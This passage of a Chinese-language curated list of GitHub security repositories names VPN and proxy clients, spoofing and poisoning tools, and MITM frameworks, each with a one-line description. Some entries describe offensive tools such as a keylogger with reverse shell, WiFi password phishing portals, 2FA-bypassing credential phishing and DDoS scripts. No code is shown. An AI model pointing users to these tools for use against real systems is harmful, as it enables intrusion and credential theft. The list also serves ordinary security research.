- [**201**星][4m] [Kotlin] [shadowsocks/v2ray-plugin-android](https://github.com/shadowsocks/v2ray-plugin-android) A SIP003 V2ray plugin on Android
- [**95**星][2y] [guardianproject/tor-browser](https://github.com/guardianproject/tor-browser) UPDATE: Orfox is being replaced by Tor Browser for Android. All future work and comments will be handled by Tor Project.
- 重复区段: [匿名网络->工具->Tor](#e99ba5f3de02f68412b13ca718a0afb6) |
- [**88**星][1y] [Java] [frpccluster/frpc-android](https://github.com/frpccluster/frpc-android) Android,安卓版frpc，一个快速反向代理，可帮助您将NAT或防火墙后面的本地服务器暴露给Internet。
- [**86**星][1y] [Java] [vpnht/android](https://github.com/vpnht/android) VPN.ht Android Application. Based on ics-openvpn.
- [**74**星][1y] [Shell] [thelinuxchoice/keydroid](https://github.com/thelinuxchoice/keydroid) Android Keylogger + Reverse Shell
- [**34**星][3y] [C] [uwnetworkslab/cordova-plugin-tun2socks](https://github.com/uwnetworkslab/cordova-plugin-tun2socks) Cordova plugin to enable a system-wide VPN for Android devices.
- [**33**星][1y] [Shell] [cryptolok/ghostinthechaos](https://github.com/cryptolok/ghostinthechaos) Chaotic Crypto Stealth VPN for Anonymity and Untraceable Hacking Attacks with Linux and Android
- [**32**星][5y] [Ruby] [jduck/addjsif](https://github.com/jduck/addjsif) Metasploit Exploit Module for the Android addJavascriptInterface Issue (MITM)
- [**28**星][2y] [C] [shadowsocksr-live/ssrdroid](https://github.com/shadowsocksr-live/ssrdroid) ShadowsocksR (SSR) for Android
- [**23**星][1y] [Java] [shivam141296/android-firewall](https://github.com/shivam141296/android-firewall) Basic netguard app from playstore ,reduced to its minimum level for vpn and firewall logic
- [**22**星][4y] [C] [shadowsocks/openssl-android](https://github.com/shadowsocks/openssl-android) A fork of OpenSSL for shadowsocks-android
# <a id="70857140d346b443fe3b7ea3046f702a"></a>iOS
***
## <a id="692d86299dedab073fbb6144a5b2bd64"></a>工具
- [**7958**星][4y] [ObjC] [shadowsocks/shadowsocks-ios](https://github.com/shadowsocks/shadowsocks-ios) Removed according to regulations.
- [**6645**星][8d] [Py] [h2y/shadowrocket-adblock-rules](https://github.com/h2y/shadowrocket-adblock-rules) 提供多款 Shadowrocket 规则，带广告过滤功能。用于 iOS 未越狱设备选择性地自动翻墙。
- [**4966**星][12d] [TS] [jigsaw-code/outline-client](https://github.com/jigsaw-code/outline-client) Outline clients, developed by Jigsaw. The Outline clients use the popular Shadowsocks protocol, and lean on the Cordova and Electron frameworks to support Windows, Android / ChromeOS, Linux, iOS and macOS.
- 重复区段: [Android->工具](#863839860fab4b8601905205cac9b54f) |
- [**1701**星][1y] [Swift] [haxpor/potatso](https://github.com/haxpor/potatso) Potatso is an iOS client that implements Shadowsocks proxy with the leverage of NetworkExtension framework. ***This project is unmaintained, try taking a look at this fork
- [**1211**星][t] [ObjC] [onionbrowser/onionbrowser](https://github.com/onionbrowser/onionbrowser) An open-source, privacy-enhancing web browser for iOS, utilizing the Tor anonymity network
- 重复区段: [匿名网络->工具->Tor](#e99ba5f3de02f68412b13ca718a0afb6) |
- [**857**星][3y] [Py] [hubert3/isniff-gps](https://github.com/hubert3/isniff-gps) Passive sniffing tool for capturing and visualising WiFi location data disclosed by iOS devices
- [**407**星][3y] [C] [robertyim/shadowsocksx](https://github.com/RobertYim/ShadowsocksX) Fork of shadowsocks-iOS
- [**380**星][5y] [Py] [mfrister/pushproxy](https://github.com/mfrister/pushproxy) A man-in-the-middle proxy for iOS and OS X device push connections
- [**133**星][3y] [Swift] [kidneyband/potatso-ios](https://github.com/kidneyband/potatso-ios) Potatso is an iOS client that implements Shadowsocks proxy with the leverage of NetworkExtension framework in iOS 9.
- [**121**星][2y] [Swift] [lxdcn/nepackettunnelvpndemo](https://github.com/lxdcn/nepackettunnelvpndemo) iOS VPN client implementation demo based on iOS9 NetworkExtension NETunnelProvider APIs
- [**107**星][12m] [Swift] [lettleprince/qladder](https://github.com/lettleprince/qladder) QLadder is a project for iOS client. It uses shadowsocks as server-side.
- [**35**星][2y] [unbinilium/surge](https://github.com/unbinilium/surge) Shadowsocks Encrypt Support Module for Surge APP, iOS & MacOS Configuration
- [**25**星][1y] [ObjC] [skifary/c4msis](https://github.com/skifary/c4msis) ios shadowsocks app based on NEKit
# <a id="53da0cc607b98c444ec0e50a0b77f754"></a>网络攻击
***
## <a id="295e14c39bf33cd5136be8ced9383746"></a>工具
### <a id="07f06751f1de7ddd1f6a95323f0191c8"></a>PortKnocking
- [**515**星][14d] [Perl] [mrash/fwknop](https://github.com/mrash/fwknop) Single Packet Authorization > Port Knocking
- [**371**星][7y] [Py] [moxie0/knockknock](https://github.com/moxie0/knockknock) 简易、安全且隐蔽的Port Knocking工具，不使用libpcap，也不绑定到socket接口
### <a id="f855508acfc870b1f0d90ff316f1dd75"></a>伪造&&Spoof
- [**2174**星][1y] [JS] [iam4x/pokemongo-webspoof](https://github.com/iam4x/pokemongo-webspoof) 在PokémonGo伪造iOS设备GPS位置
- [**256**星][3y] [C] [w-shackleton/android-netspoof](https://github.com/w-shackleton/android-netspoof) Network Spoofer
- [**168**星][6d] [JS] [sereneblue/chameleon](https://github.com/sereneblue/chameleon) A WebExtension port of Random Agent Spoofer
- [**121**星][12m] [Py] [byt3bl33d3r/arpspoof](https://github.com/byt3bl33d3r/arpspoof) Python clone of arpspoof that can poison hosts via arp-requests as well as arp-replies
- [**95**星][9m] [C++] [hlldz/apc-ppid](https://github.com/hlldz/apc-ppid) Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread and spoof the Parent Process.
- [**55**星][5y] [PHP] [troyhunt/pineapplesurprise](https://github.com/troyhunt/pineapplesurprise) Pineapple Surprise! is a PHP implementation for the Wi-Fi Pineapple or "Jasager". Used in conjunction with dnsspoof it will serve a "surprise" to any clients connected to the device when they make an HTTP request.
- [**52**星][9m] [Py] [fireeye/adfspoof](https://github.com/fireeye/adfspoof) forge AD FS security tokens
- [**46**星][2m] [C++] [125k/esp8266_wifi_captive_portal](https://github.com/125k/esp8266_wifi_captive_portal) WiFi captive portal for NodeMCU (ESP8266 Module) with DNS spoofing. It phishes the WiFi password.
- [**23**星][3m] [Visual Basic .NET] [henriksb/extensionspoofer](https://github.com/henriksb/extensionspoofer) Spoof file icons and extensions in Windows
- [**21**星][9m] [Shell] [thelinuxchoice/lizard](https://github.com/thelinuxchoice/lizard) Extension spoofer and reveser shell generator
- [**20**星][1y] [C] [nofvcks/aimkit-pasted-driver](https://github.com/nofvcks/aimkit-pasted-driver) The BlackBone + Chinese spoofer paste that GreenTea denied. AimKit is a scam. GreenTea is a fraud. Don't waste your money.
- [**19**星][3y] [Py] [wjdigby/apd_launchpad](https://github.com/wjdigby/apd_launchpad) Script for generating hostapd-wpe configuration files and spoofed certificates
- [**18**星][2y] [Py] [zxsecurity/nmeadesync](https://github.com/zxsecurity/nmeadesync) A tool which allows an attacker to change the time on a GPS-enabled NTP server by using spoofed NEMA sentences
- [**17**星][9y] [C] [maurotfilho/dns-spoof](https://github.com/maurotfilho/dns-spoof) DNS Spoof
- [**17**星][11m] [JS] [tobinshields/zaqar_emailspoofer](https://github.com/tobinshields/zaqar_emailspoofer) A powerful PHP email spoofer with a polished UI, rich text editor, and multiple sending options.
- [**17**星][3y] [Py] [blechschmidt/fakeroute](https://github.com/blechschmidt/fakeroute) Simple traceroute fake hop generator through IP spoofing
- [**16**星][2y] [C#] [rushyo/vindicatetool](https://github.com/rushyo/vindicatetool) LLMNR/NBNS/mDNS Spoofing Detection Toolkit
- [**15**星][2y] [Swift] [hungtruong/deadringer](https://github.com/hungtruong/deadringer) A proof of concept iPhone X lock screen spoof
- [**15**星][6y] [Java] [mcourteaux/spooferbt](https://github.com/mcourteaux/spooferbt) Relay torrent tracker communication via TCP to bypass a blocked UDP network.
- [**14**星][3y] [C] [coolervoid/hyde](https://github.com/coolervoid/hyde) just another tool in C to test DoS spoofing - beta
- [**14**星][2y] [Py] [vtr0n/fakeap](https://github.com/vtr0n/fakeap) Fake access point using dns spoof and ssl stripping
- [**13**星][6y] [Py] [zackiles/rspoof](https://github.com/zackiles/rspoof) Wifi Automated Fake HotSpot Hijacking with aicrack-ng, airbase, ssl-strip, and dns spoof in Python.
- [**12**星][2y] [Go] [virus-v/arpzebra](https://github.com/virus-v/arpzebra) ARP+DNS欺骗工具，网络安全第三次实验，课堂演示用，严禁非法用途。ARPSpoof，wifi hijack，dns spoof
- [**12**星][2y] [Py] [imadhsissou/python-arp-spoofer](https://github.com/imadhsissou/python-arp-spoofer) A friendly command-line spoofing tool written in python using scapy and netifaces.
- 重复区段: [工具->Scapy](#01f99d208e245eb44f15f720043b50d4) |
- [**12**星][3y] [Go] [sabey/spoofgo](https://github.com/sabey/spoofgo) An Application for Spoofing Movement written in Golang
- [**9**星][2y] [Py] [balaganeshgbhackers/emailspoofing](https://github.com/balaganeshgbhackers/emailspoofing)
- [**9**星][4y] [Perl] [davi200180/ddos-scripts](https://github.com/davi200180/ddos-scripts) Diversi Script installabili e utilizzabili su Server Linux (Spoof e non) per poter fare attacchi DDoS
- [**9**星][2y] [Py] [porthunter/smoof](https://github.com/porthunter/smoof) SMS Spoofer for Social Engineering/Pentest Engagements
- [**9**星][5y] [PHP] [xtr4nge/module_dnsspoof](https://github.com/xtr4nge/module_dnsspoof) FruityWifi dnsspoof module
- [**9**星][6y] [sin5678/zxarps](https://github.com/sin5678/zxarps) arp spoof tool by lzx
- [**8**星][5y] [Py] [ickerwx/arpspoof](https://github.com/ickerwx/arpspoof) ARP poisoning tool written in python with command line interface to add and remove targets on the fly
- [**8**星][4y] [Shell] [jgamblin/mana-common](https://github.com/jgamblin/mana-common) Using Mana to Spoof Common SSIDs
- [**6**星][10m] [Py] [avantasia/inventedattack](https://github.com/avantasia/inventedattack) A POC attack combining IP SPoofing, SYN Flood and IP Fragmentation
- [**6**星][9m] [C++] [rgerganov/spoof_temp](https://github.com/rgerganov/spoof_temp) Spoof temperature sensor with HackRF
- [**6**星][3y] [Py] [securitymouse/moops-public](https://github.com/securitymouse/moops-public) My Object Oriented Packet Spoofer
- [**6**星][13d] [Go] [irai/arp](https://github.com/irai/arp) A go package to monitor ARP changes and notify when mac is online or offline. Also allow forced IP address change (IP spoofing).
- [**4**星][3y] [HTML] [649/cve-2017-5415](https://github.com/649/cve-2017-5415) Addressbar spoofing through blob URL (Firefox browser). An attack can use a blob URL and script to spoof an arbitrary addressbar URL prefaced by blob: as the protocol, leading to user confusion and further spoofing attacks.
- [**4**星][3y] [SourcePawn] [lordzy/safedialogs](https://github.com/lordzy/safedialogs) safeDialogs prevents the server from receiving fake or spoofed dialog responses. This includes faking dialog ID, listitem or even the inputtext in cases of lists. Faking listitem or inputtext can lead to many risks of user breaking into server security depending on how they're used. This include ensures that everything's safe and also contains a…
- [**3**星][5m] [Py] [tg12/slow_the_bots](https://github.com/tg12/slow_the_bots) Slow the bot's by spoofing what they are looking for!
- [**2**星][3y] [Java] [simonfrey/netsecure](https://github.com/simonfrey/netSecure) Macaddress Spoofing - IPv6 Randomising - SYN Attack Protection *** Android Root App
- [**1**星][5y] [HTML] [qfc9/email-spoof](https://github.com/qfc9/email-spoof) A template on how to email spoof people
- [**1**星][4y] [C] [garbaz/ipspoof](https://github.com/garbaz/ipspoof) IP spoof stuff
- [**0**星][5y] [C++] [illahaha/zxarps](https://github.com/illahaha/zxarps) arpspoof
- [**0**星][5y] [oxtoacart/flashlight](https://github.com/oxtoacart/flashlight) Lightweight host-spoofing web proxy written in go
- [**0**星][3y] [Java] [uddhavpgautam/ip-spoofing-detection-prevention-for-network-intrusion-detection-prevention-based-on-tcp-seq-number](https://github.com/uddhavpgautam/ip-spoofing-detection-prevention-for-network-intrusion-detection-prevention-based-on-tcp-seq-number) IP Spoofing detection prevention for network intrusion detection prevention based on TCP sequence number prediction attack
### <a id="62b461e2ceead9edb75c1b51f6eecdfd"></a>检测绕过
- [**3189**星][2m] [C] [valdikss/goodbyedpi](https://github.com/valdikss/goodbyedpi) 绕过许多已知的网络服务提供商提供的阻止访问某些网站的深度数据包检查系统
### <a id="3bd67ee9f322e2c85854991c85ed6da0"></a>投毒&&Poisoning
- [**5173**星][1y] [JS] [samyk/poisontap](https://github.com/samyk/poisontap) Exploits locked/password protected computers over USB, drops persistent WebSocket-based backdoor, exposes internal router, and siphons cookies using Raspberry Pi Zero & Node.js.
- [**767**星][5y] [Py] [shadowsocks/chinadns-python](https://github.com/shadowsocks/chinadns-python) Protect yourself against DNS poisoning in China.
- [**106**星][1y] [Py] [5alt/ultrarelay](https://github.com/5alt/ultrarelay) poison and relay NTLM credentials
- [**66**星][7m] [C] [hc0d3r/sshd-poison](https://github.com/hc0d3r/sshd-poison) a tool to get creds of pam based sshd authentication
- [**44**星][4m] [Py] [bieberg0n/bjdns](https://github.com/bieberg0n/bjdns) A dns server which can protect yourself against DNS poisoning in China. / 抗污染 带缓存的dns服务器
- [**29**星][2y] [Py] [aarreedd/arp-defense](https://github.com/aarreedd/arp-defense) ARP Poisoning Defense Scripts
- [**26**星][5y] [Py] [oros42/arp_poisoning_detector](https://github.com/oros42/arp_poisoning_detector) Simple detector of ARP poisoning attack
- [**24**星][5m] [Go] [skeeto/pgp-poisoner](https://github.com/skeeto/pgp-poisoner) PGP key poisoner
- [**22**星][6y] [C] [t00sh/elf-poison](https://github.com/t00sh/elf-poison) Proof Of Concept for inserting code in ELF binaries.
- [**20**星][4m] [C] [en14c/erebus](https://github.com/en14c/erebus) Poc for ELF64 runtime infection via GOT poisoning technique by elfmaster
- [**17**星][7y] [C] [m0nad/arp-poison](https://github.com/m0nad/arp-poison) arp-poison (aka arp spoof) tool
- [**12**星][4y] [Perl] [mattiasgeniar/slowloris](https://github.com/mattiasgeniar/slowloris) Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
- [**8**星][4y] [Java] [mehiar/arp-poisoning-and-defend](https://github.com/mehiar/arp-poisoning-and-defend)
- [**8**星][4y] [Go] [nkbai/arppoison](https://github.com/nkbai/arppoison) arp poison 可以进行dns欺骗，流量之类的操作
- [**5**星][4y] [Ruby] [msiavashi/ada-arp-defense](https://github.com/msiavashi/ada-arp-defense) Ada is a very simple tool written in pure ruby and on top of packetfu to detect arp poisoned packets and defend you automatically from the attack while even find the attacker for you .
- [**4**星][4m] [C] [srjanel/arp_poisoning](https://github.com/srjanel/arp_poisoning) Arp Poisoning tool in C using raw sockets
- [**3**星][2y] [Py] [b2dfir/linuxpoisonablelogfinder](https://github.com/b2dfir/linuxpoisonablelogfinder) Security Testing Tool to identify whether a list of common log files, which may be used for log poisoning, can be accessed from an known local file inclusion vulnerability.
- [**3**星][5m] [Py] [emreovunc/arp-poisoning-tool](https://github.com/emreovunc/arp-poisoning-tool) ARP Poisoning Tool
- [**2**星][1y] [Py] [fishyyh/arppoison](https://github.com/fishyyh/arppoison)
- [**1**星][3y] [C] [abapat/dnspoison](https://github.com/abapat/dnspoison) A DNS packet injection and poisoning detection utility
- [**1**星][2y] [filipemgs/poisonjs](https://github.com/filipemgs/poisonjs) PoisonJS - De-obfuscate eval-based JavaScript obfuscation with monkey-patched eval(-like) functions.
# <a id="42ae221f526f55b5282ea221a376ec6c"></a>中间人&&MITM
***
## <a id="42f9e068b6511bcbb47d6b2b273097da"></a>未分类
- [**6523**星][28d] [Go] [bettercap/bettercap](https://github.com/bettercap/bettercap) 新版的bettercap, Go 编写. bettercap 是强大的、模块化、可移植且易于扩展的 MITM 框架, 旧版用 Ruby 编写
- [**2989**星][5d] [JS] [evilsocket/pwnagotchi](https://github.com/evilsocket/pwnagotchi) 深度学习+Bettercap，基于A2C，从周围的WiFi环境中学习，以最大程度地利用捕获的WPA关键信息
- [**2905**星][1y] [Py] [byt3bl33d3r/mitmf](https://github.com/byt3bl33d3r/mitmf) Framework for Man-In-The-Middle attacks
- [**2829**星][2m] [Go] [kgretzky/evilginx2](https://github.com/kgretzky/evilginx2) 独立的MITM攻击工具，用于登录凭证钓鱼，可绕过双因素认证
- [**2551**星][2y] [evilsocket/bettercap](https://github.com/evilsocket/bettercap) 中间人攻击框架，功能完整，模块化设计，轻便且易于扩展。
- [**1425**星][2m] [Py] [xdavidhu/mitmap](https://github.com/xdavidhu/mitmap)
- [**1385**星][11d] [Go] [unrolled/secure](https://github.com/unrolled/secure) HTTP middleware for Go that facilitates some quick security wins.
- [**1295**星][2y] [Go] [malfunkt/hyperfox](https://github.com/malfunkt/hyperfox) 在局域网上代理和记录 HTTP 和 HTTPs 通信
- [**1204**星][4m] [C] [droe/sslsplit](https://github.com/droe/sslsplit) 透明SSL/TLS拦截
- [**1194**星][3m] [Py] [jtesta/ssh-mitm](https://github.com/jtesta/ssh-mitm) SSH 中间人攻击工具
- [**1101**星][8m] [Ruby] [lionsec/xerosploit](https://github.com/lionsec/xerosploit) Efficient and advanced man in the middle framework
- [**1046**星][4m] [PS] [kevin-robertson/inveigh](https://github.com/kevin-robertson/inveigh) Windows PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool
- [**1008**星][2m] [Go] [justinas/nosurf](https://github.com/justinas/nosurf) CSRF protection middleware for Go.
- [**985**星][1y] [HTML] [sensepost/mana](https://github.com/sensepost/mana) *DEPRECATED* mana toolkit for wifi rogue AP attacks and MitM
- [**980**星][2m] [Py] [syss-research/seth](https://github.com/syss-research/seth) Perform a MitM attack and extract clear text credentials from RDP connections
- [**949**星][2y] [Py] [arnaucube/coffeeminer](https://github.com/arnaucube/coffeeMiner) collaborative (mitm) cryptocurrency mining pool in wifi networks
- [**845**星][1y] [Py] [kgretzky/evilginx](https://github.com/kgretzky/evilginx) man-in-the-middle attack framework used for phishing credentials and session cookies of any web service
- [**596**星][9m] [Py] [fox-it/mitm6](https://github.com/fox-it/mitm6) exploits the default configuration of Windows to take over the default DNS server
- [**582**星][12m] [HTML] [r00t-3xp10it/morpheus](https://github.com/r00t-3xp10it/morpheus) Morpheus - Automating Ettercap TCP/IP (MITM-hijacking Tool)
- [**547**星][2y] [TS] [samdenty/injectify](https://github.com/samdenty/injectify) 对网站实行中间人攻击的框架
- [**522**星][4y] [C] [jondonym/peinjector](https://github.com/jondonym/peinjector) peinjector - MITM PE file infector
- [**515**星][13d] [JS] [moll/node-mitm](https://github.com/moll/node-mitm) Intercept and mock outgoing Node.js network TCP connections and HTTP requests for testing. Intercepts and gives you a Net.Socket, Http.IncomingMessage and Http.ServerResponse to test and respond with. Super useful when testing code that hits remote servers.
- [**473**星][3y] [CoffeeScript] [rastapasta/pokemon-go-mitm](https://github.com/rastapasta/pokemon-go-mitm)
- [**443**星][23d] [TS] [shroudedcode/apk-mitm](https://github.com/shroudedcode/apk-mitm)
- [**439**星][1y] [JS] [digitalsecurity/btlejuice](https://github.com/digitalsecurity/btlejuice) BtleJuice Bluetooth Smart (LE) Man-in-the-Middle framework
- [**434**星][8y] [C++] [moxie0/sslsniff](https://github.com/moxie0/sslsniff) A tool for automated MITM attacks on SSL connections.
- [**399**星][4m] [Go] [cloudflare/mitmengine](https://github.com/cloudflare/mitmengine) A MITM (monster-in-the-middle) detection tool. Used to build MALCOLM:
- [**391**星][2y] [Py] [conorpp/btproxy](https://github.com/conorpp/btproxy) Man in the Middle analysis tool for Bluetooth.
- [**391**星][1m] [JS] [joeferner/node-http-mitm-proxy](https://github.com/joeferner/node-http-mitm-proxy) HTTP Man In The Middle (MITM) Proxy
- [**385**星][1y] [JS] [securing/gattacker](https://github.com/securing/gattacker) A Node.js package for BLE (Bluetooth Low Energy) security assessment using Man-in-the-Middle and other attacks
- [**368**星][11m] [Py] [crypt0s/fakedns](https://github.com/crypt0s/fakedns) A regular-expression based python MITM DNS server with support for DNS Rebinding attacks
- [**355**星][26d] [Py] [gosecure/pyrdp](https://github.com/gosecure/pyrdp) RDP man-in-the-middle (mitm) and library for Python 3 with the ability to watch connections live or after the fact
- [**347**星][1y] [Py] [quickbreach/smbetray](https://github.com/quickbreach/smbetray) SMB MiTM tool with a focus on attacking clients through file content swapping, lnk swapping, as well as compromising any data passed over the wire in cleartext.
- [**342**星][2y] [Shell] [brannondorsey/mitm-router](https://github.com/brannondorsey/mitm-router) mitm-router：将任何一台Linux 计算机转变成公开的 Wi-Fi 网络，并且默认Man-in-the-middle 所有 http 流量
- [**296**星][1y] [Shell] [cryptolok/ghostinthenet](https://github.com/cryptolok/ghostinthenet) Ultimate Network Stealther that makes Linux a Ghost In The Net and protects from MITM/DOS/scan
- [**290**星][2y] [Py] [websploit/websploit](https://github.com/websploit/websploit) websploit is an advanced MITM framework
- [**279**星][3y] [JS] [wuchangming/https-mitm-proxy-handbook](https://github.com/wuchangming/https-mitm-proxy-handbook) 基于Node.js的HTTPS MITM(中间人)代理的原理和实现
- [**251**星][4m] [C#] [kevin-robertson/inveighzero](https://github.com/kevin-robertson/inveighzero) Windows C# LLMNR/mDNS/NBNS/DNS spoofer/man-in-the-middle tool
- [**240**星][4y] [Py] [intrepidusgroup/mallory](https://github.com/intrepidusgroup/mallory) Mallory - MiTM TCP and UDP Proxy
- [**236**星][4y] [Py] [withdk/badusb2-mitm-poc](https://github.com/withdk/badusb2-mitm-poc) BadUSB 2.0 USB-HID MiTM POC
- [**229**星][9m] [Py] [ivanvza/arpy](https://github.com/ivanvza/arpy) Mac OSX ARP spoof (MiTM) tool that can also plug into Gource
- [**228**星][19d] [sab0tag3d/mitm-cheatsheet](https://github.com/sab0tag3d/mitm-cheatsheet) All MITM attacks in one place.
- [**188**星][3m] [Py] [internetarchive/warcprox](https://github.com/internetarchive/warcprox) WARC writing MITM HTTP/S proxy
- [**181**星][3y] [Py] [ctxis/wsuspect-proxy](https://github.com/ctxis/wsuspect-proxy) WSUSpect Proxy - a tool for MITM'ing insecure WSUS connections
- [**177**星][4y] [Shell] [floyd-fuh/tiny-mitm-proxy](https://github.com/floyd-fuh/tiny-mitm-proxy) Probably one of the smallest SSL MITM proxies you can make
- [**175**星][3y] [Shell] [praetorian-code/mitm-vm](https://github.com/praetorian-code/mitm-vm) An easy-to-deploy virtual machine that can provide flexible man-in-the-middle capabilities.
- [**171**星][3y] [HTML] [purpleteam/snarf](https://github.com/purpleteam/snarf) Snarf man-in-the-middle / relay suite
- [**166**星][2m] [C] [elementsproject/secp256k1-zkp](https://github.com/elementsproject/secp256k1-zkp) Experimental fork of libsecp256k1 with support for pedersen commitments and range proofs.
- [**161**星][3y] [Py] [pentesteres/delorean](https://github.com/pentesteres/delorean) NTP Main-in-the-Middle tool
- [**148**星][5y] [Py] [mveytsman/dilettante](https://github.com/mveytsman/dilettante) Maven central doesn't do SSL when serving you JARs. Dilettante is a MiTM proxy for exploiting that.
- [**146**星][2y] [Go] [magisterquis/sshhipot](https://github.com/magisterquis/sshhipot) High-interaction MitM SSH honeypot
- [**137**星][29d] [Shell] [reb311ion/tornado](https://github.com/reb311ion/tornado) All in one MITM tool .
- [**134**星][19d] [Py] [certcc/tapioca](https://github.com/certcc/tapioca) CERT Tapioca for MITM network analysis
- [**128**星][4y] [Py] [andrewhilts/snifflab](https://github.com/andrewhilts/snifflab) Scripts to create your own MITM'ing, packet sniffing WiFi access point
- [**118**星][1y] [Py] [amossys/memitm](https://github.com/amossys/memitm) Tool to make in memory man in the middle
- [**113**星][2y] [Shell] [pimps/wsuxploit](https://github.com/pimps/wsuxploit) wsuxploit：MiTM 漏洞利用脚本，用于将“假冒”更新注入到非 SSL WSUS 流量中
- [**112**星][3y] [Py] [codepr/creak](https://github.com/codepr/creak) Poison, reset, spoof, redirect MITM script
- [**95**星][3y] [JS] [compewter/copycat](https://github.com/compewter/copycat) Universal MITM web server
- [**87**星][8m] [Shell] [1n3/prism-ap](https://github.com/1n3/prism-ap) An automated Wireless RogueAP MITM attack framework.
- [**85**星][4y] [Py] [liuhui0613/thewind](https://github.com/liuhui0613/thewind) a MITM attack tool
- [**82**星][6m] [Ruby] [argos83/ritm](https://github.com/argos83/ritm) Ruby In The Middle (HTTP/HTTPS interception proxy)
- [**77**星][4y] [CoffeeScript] [olegberman/mitm-omegle](https://github.com/olegberman/mitm-omegle) Watch strangers talk on Omegle (man in the middle attack)
- [**76**星][6y] [Shell] [neohapsis/suddensix](https://github.com/neohapsis/suddensix) IPV6 MITM attack tool
- [**69**星][2y] [Haskell] [adjoint-io/pedersen-commitment](https://github.com/adjoint-io/pedersen-commitment) Cryptographic Commitment Schemes
- [**66**星][4y] [JS] [etherdream/mitm-http-cache-poisoning](https://github.com/etherdream/mitm-http-cache-poisoning) HTTP Cache Poisoning Demo
- [**58**星][3y] [Shell] [r00t-3xp10it/netool-toolkit](https://github.com/r00t-3xp10it/netool-toolkit) MitM pentesting opensource toolkit (scan/sniff/exploit) -- NOT SUPORTED ANYMORE --
- [**55**星][2y] [C++] [caseysmithrc/memmitm](https://github.com/caseysmithrc/memmitm) SSL In Memory Inspection - Proof Of Concept.
- [**52**星][3y] [Py] [cylance/mitmcanary](https://github.com/cylance/mitmcanary) Tool/service to detect Man in the Middle attacks with Canary Requests
- [**51**星][1y] [Go] [mrexodia/haxxmap](https://github.com/mrexodia/haxxmap) Some simple go tools to perform a Man-in-the-middle (MITM) attack on your IMAP server in case you forgot your password.
- [**48**星][2y] [PS] [clr2of8/detect-sslmitm](https://github.com/clr2of8/detect-sslmitm) This PowerShell script will determine if your connection to external servers over HTTPS is being decrypted by an intercepting proxy such as the internet proxies commonly found in corporate environments. It does this by comparing the SSL intermediate certificate being used for your connection to the true/known SSL certificate for the server.
- [**47**星][4y] [C++] [mozmark/ringleader](https://github.com/mozmark/ringleader) A tool for configuring and using MITM proxies from firefox
- [**47**星][10m] [Py] [lorenzb/libsubmarine](https://github.com/lorenzb/libsubmarine) Implementation of a novel practical scheme for submarine commitments
- [**42**星][5y] [Py] [husam212/mitmer](https://github.com/husam212/mitmer) Automated man-in-the-middle attack tool.
- [**42**星][1y] [C#] [advancedhacker101/c-sharp-proxy-server](https://github.com/advancedhacker101/c-sharp-proxy-server) A proxy server built with c# can be both normal and MITM Proxy
- [**40**星][6y] [Py] [ipopov/starttls-mitm](https://github.com/ipopov/starttls-mitm) A starttls-capable transparent man-in-the-middle proxy
- [**38**星][2y] [Py] [m4n3dw0lf/sslkill](https://github.com/m4n3dw0lf/sslkill) Forced Man-In-The-Middle HTTPs-Avoiding Reverse Proxy
- [**38**星][7m] [Java] [hsiafan/cute-proxy](https://github.com/hsiafan/cute-proxy) A Man-In-The-Middle Proxy as Fiddle and Charles, using Netty, JavaFX
- [**36**星][3y] [JS] [jackgu1988/dsploit-scripts](https://github.com/jackgu1988/dsploit-scripts) Scripts that could be injected in MITM attacks using dSploit
- [**35**星][7d] [Rust] [scipr-lab/poly-commit](https://github.com/scipr-lab/poly-commit) A Rust library for polynomial commitments
- [**33**星][5d] [Py] [kevcui/mitm-scripts](https://github.com/kevcui/mitm-scripts)
- [**33**星][3y] [Py] [syss-research/dns-mitm](https://github.com/syss-research/dns-mitm) A minimal DNS service that can provide spoofed replies
- [**32**星][5y] [Perl] [linvex/mitm-squid](https://github.com/linvex/mitm-squid) sharing some files of MITM-squid attack.
- [**31**星][26d] [Ruby] [gplcc/gplcc](https://github.com/gplcc/gplcc) GPL Cooperation Commitment
- [**31**星][1y] [Py] [thusoy/postgres-mitm](https://github.com/thusoy/postgres-mitm) Test whether your Postgres connections are vulnerable to MitM attacks
- [**30**星][8y] [Py] [hubert3/isniff](https://github.com/hubert3/isniff) SSL man-in-the-middle tool targeting iOS devices < 4.3.5
- [**29**星][5y] [C] [conorpp/mitm-http-proxy](https://github.com/conorpp/mitm-http-proxy) A simple, low level http/https proxy server with MiTM pranking features.
- [**29**星][2m] [JS] [dangkyokhoang/man-in-the-middle](https://github.com/dangkyokhoang/man-in-the-middle) Modify requests, inject JavaScript and CSS into pages
- [**28**星][3y] [Java] [elynx/pokemon-go-xposed-mitm](https://github.com/elynx/pokemon-go-xposed-mitm) MITM attack on Pokemon Go (c) via XPosed framework
- [**28**星][3y] [Py] [mvondracek/wifimitm](https://github.com/mvondracek/wifimitm) Automation of MitM Attack on Wi-Fi Networks
- [**26**星][4y] [C] [gregwar/mitm](https://github.com/gregwar/mitm) Man in the middle tool
- [**25**星][2y] [Py] [the404hacking/websploit](https://github.com/the404hacking/websploit) Websploit is an advanced MITM framework.
- [**24**星][7y] [Java] [akdeniz/mitmsocks4j](https://github.com/akdeniz/mitmsocks4j) SOCKS代理协议的拦截器，可以转储任何连接的内容，即便有SSL进行保护
- [**24**星][2m] [TS] [dialogs/electron-ssl-pinning](https://github.com/dialogs/electron-ssl-pinning) Prevents MITM in Electron applications
- [**24**星][11m] [Nim] [imgp3dev/drmitm](https://github.com/imgp3dev/drmitm) DrMITM is a program designed to globally log all traffic of a website.
- [**23**星][8y] [C#] [sensepost/suru](https://github.com/sensepost/suru) Suru is one of the original Man In The Middle (MITM) proxies that sits between the user's browser and the web application.
- [**22**星][2m] [Py] [lockgit/py](https://github.com/lockgit/py) rsa,base64,ac,kmp,svm,knn,mitm,hash table...
- [**21**星][4y] [Shell] [psrcek/kali-mitm-evil-twin](https://github.com/psrcek/kali-mitm-evil-twin) A script that creates a wifi hotspot on kali linux that can view usernames and passwords of ssl logins.
- [**19**星][2y] [Py] [jakev/mitm-helper-wifi](https://github.com/jakev/mitm-helper-wifi) WiFi MITM Helper
- [**17**星][2y] [Py] [shramos/winregmitm](https://github.com/shramos/winregmitm) Perform MiTM attack and remove encryption on Windows Remote Registry Protocol.
- [**16**星][7m] [Java] [aquazus/d1proxy](https://github.com/aquazus/d1proxy) A simple yet powerful Java 11 TCP MITM proxy for Dofus 1.29.1
